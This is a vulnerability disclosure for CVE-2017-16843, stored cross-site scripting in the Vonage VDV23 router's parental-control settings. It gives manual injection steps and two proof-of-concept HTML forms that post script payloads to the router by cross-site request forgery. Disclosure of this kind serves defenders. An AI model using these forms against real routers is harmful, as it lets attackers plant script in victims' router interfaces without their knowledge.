Vonage VDV23 Cross-Site Scripting

2017.11.17
Credit: Nu11By73
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Vonage Home Router – Stored Xss # Date: 16/11/2017 # Exploit Author: Nu11By73 # Hardware Version: VDV-23: 115 # Software Version: 3.2.11-0.9.40 # CVE : CVE-2017-16843 NewKeyword Parameter: Login to the router Click advanced setup Click parental controls In the blocked keywords text box enter: test”><script>alert(1)</script> (screenshot 1) Click the add keyword button to receive the pop up. Login to the router Click advanced setup Click parental controls In the block these websites text box enter: test”><script>alert(1)</script> (screenshot 1) Click the add domain button to receive the pop up. Proof of concept code: NewDomain.html <!—Note: The x and y values will need to be changed accordingly <html> <p>Authenticated Stored CSRF/XSS - Vonage Modem</p> <form method="POST" action="http://192.168.15.1/goform/RgParentalBasic"> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RuleSelect" value="0" / > <input type="hidden" name="NewKeyword" value="" / > <input type="hidden" name="KeywordAction" value="0" /> <input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" /> <input type="hidden" name="x" value="50" /> <input type="hidden" name="y" value="15" /> <input type="hidden" name="DomainAction" value="1" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="Broadcom" /> <input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" /> <input type="hidden" name="AccessDuration" value="30" /> <input type="submit" title="Exploit" /> </form> </html> NewKeyword.html <!—Note: The x and y values will need to be changed accordingly <html> <p>Authenticated Stored CSRF/XSS - Vonage Modem</p> <form method="POST" action="http://192.168.15.1/goform/RgParentalBasic"> <input type="hidden" name="RemoveContentRule" value="0" /> <input type="hidden" name="AddContentRule" value="0" /> <input type="hidden" name="ContentRules" value="0" /> <input type="hidden" name="RuleSelect" value="0" / > <input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / > <input type="hidden" name="x" value="61" /> <input type="hidden" name="y" value="12" /> <input type="hidden" name="KeywordAction" value="1" /> <input type="hidden" name="NewDomain" value="" /> <input type="hidden" name="DomainAction" value="0" /> <input type="hidden" name="AllowedDomainAction" value="0" /> <input type="hidden" name="ParentalPassword" value="Broadcom" /> <input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" /> <input type="hidden" name="AccessDuration" value="30" /> <input type="submit" title="Enable Service" /> </form> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top